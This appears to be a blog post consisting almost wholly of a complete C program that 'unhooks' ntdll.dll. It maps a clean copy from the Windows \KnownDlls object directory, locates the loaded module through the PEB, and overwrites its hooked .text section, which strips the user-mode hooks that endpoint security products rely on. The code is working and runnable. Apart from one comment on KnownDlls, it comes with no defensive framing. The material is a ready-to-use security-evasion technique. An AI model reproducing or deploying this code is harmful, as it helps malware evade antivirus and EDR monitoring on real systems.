Post

Unhooking NTDLL - Knowndlls

Unhooking NTDLL - Knowndlls

Unhooking NTDLL - Knowndlls

ntdll-knowndlls.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
/*
	Windows maintains a special object directory named "\KnownDlls"
	that contains section objects for a set of commonly used system DLLs.

	Processes can map these section objects directly instead of loading
	the DLL from disk, allowing multiple processes to share the same
	physical memory pages for these modules.
*/

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>

// KnownDlls path for ntdll (Unicode string literal)
#define NTDLL	L"\\KnownDlls\\ntdll.dll"
#define ERR(WinAPI) printf("[!] %s Failed With Error : %d \n", WinAPI, GetLastError())


// OpenFileMappingW is not working, for that reason we are using NtOpenSection instead
// Function pointer typedef for NtOpenSection
typedef NTSTATUS(NTAPI* fnNtOpenSection) (
	PHANDLE		SectionHandle,
	ACCESS_MASK	DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes		// Pointer to OBJECT_ATTRIBUTES struct, specifies the object name.
);

BOOL MapNtdllKnownDlls(_Out_ PVOID* ppNtdlAddr) {
	
	HANDLE hSection					= NULL;
	PBYTE pNtdllAddr					= NULL;
	NTSTATUS	STATUS				= NULL;
	UNICODE_STRING	UniString		= { 0 };
	OBJECT_ATTRIBUTES ObjAttributes = { 0 };


	// Construct unicode string that will hold \KnownDlls\ntdll.dll
	UniString.Buffer = (PWSTR)NTDLL;
	UniString.Length = wcslen(NTDLL) * sizeof(WCHAR);		// Determine size in bytes
	UniString.MaximumLength = UniString.Length + sizeof(WCHAR);

	// Init ObjAttributes with UniString
	// OBJ_CASE_INSENSITIVE ensures the lookup works regardless of case
	InitializeObjectAttributes(&ObjAttributes, &UniString, OBJ_CASE_INSENSITIVE, NULL, NULL);


	// Resolve NtOpenSection dynamically
	fnNtOpenSection pNtOpenSection = (fnNtOpenSection)GetProcAddress(GetModuleHandle(L"NTDLL"), "NtOpenSection");

	// Get handle from known dlls
	STATUS = pNtOpenSection(&hSection, SECTION_MAP_READ, &ObjAttributes);
	if (STATUS != 0x00) {
		ERR("NtOpenSection");
		goto _End;
	}
	
	// Map ntdll into memory
	pNtdllAddr = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
	if (!pNtdllAddr) {
		ERR("MapViewOfFile");
		goto _End;
	}

	// Casting out
	*ppNtdlAddr = pNtdllAddr;

_End:
	if (hSection)
		CloseHandle(hSection);
	if (*ppNtdlAddr == NULL)
		return FALSE;
	else
		return TRUE;
}



PVOID FetchLocalNtdllBaseAddress() {

#ifdef _WIN64
	PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32
	PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif // _WIN64

	// Reaching to the 'ntdll.dll' module directly (we know its the 2nd image after 'DiskHooking.exe')
	// 0x10 is = sizeof(LIST_ENTRY)
	PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);

	return pLdr->DllBase;
}



BOOL ReplaceNtdllTxtSection(_In_ PVOID pUnhookedNtdll) {

	PVOID				pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();

	printf("[+] 'Hooked' Ntdll Base Address : 0x%p \n\t[i] 'Unhooked' Ntdll Base Address : 0x%p \n", pLocalNtdll, pUnhookedNtdll);
	printf("[#] Press <Enter> To Continue ... ");
	getchar();

	// getting the dos header
	PIMAGE_DOS_HEADER	pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
	if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return FALSE;

	// getting the nt headers
	PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
	if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return FALSE;


	PVOID		pLocalNtdllTxt = NULL,	// local hooked text section base address
		pRemoteNtdllTxt = NULL; // the unhooked text section base address
	SIZE_T		sNtdllTxtSize = NULL;	// the size of the text section



	// getting the text section
	PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);

	for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {

		// the same as if( strcmp(pSectionHeader[i].Name, ".text") == 0 )
		if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
			pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
			pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
			sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
			break;
		}
	}

	//---------------------------------------------------------------------------------------------------------------------------

	printf("[+] 'Hooked' Ntdll Text Section Address : 0x%p \n\t[i] 'Unhooked' Ntdll Text Section Address : 0x%p \n\t[i] Text Section Size : %d \n", pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
	printf("[#] Press <Enter> To Continue ... ");
	getchar();

	// small check to verify that all the required information is retrieved
	if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
		return FALSE;

	// small check to verify that 'pRemoteNtdllTxt' is really the base address of the text section
	if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
		return FALSE;

	//---------------------------------------------------------------------------------------------------------------------------

	printf("[i] Replacing The Text Section ... ");
	DWORD dwOldProtection = NULL;

	// making the text section writable and executable
	if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
		printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// copying the new text section 
	memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);

	// rrestoring the old memory protection
	if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
		printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("[+] DONE !\n");

	return TRUE;
}

int main() {
	
	PVOID pNtdll = NULL;

	printf("[+] Retrieve A New \"ntdll.dll\" File from \"\\KnownDlls\\\" \n");

	if (!MapNtdllKnownDlls(&pNtdll))
		return -1;

	if (!ReplaceNtdllTxtSection(pNtdll))
		return -1;

	UnmapViewOfFile(pNtdll);

	printf("[+] Ntdll Unhooked Successfully \n");

	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}
This post is licensed under CC BY 4.0 by the author.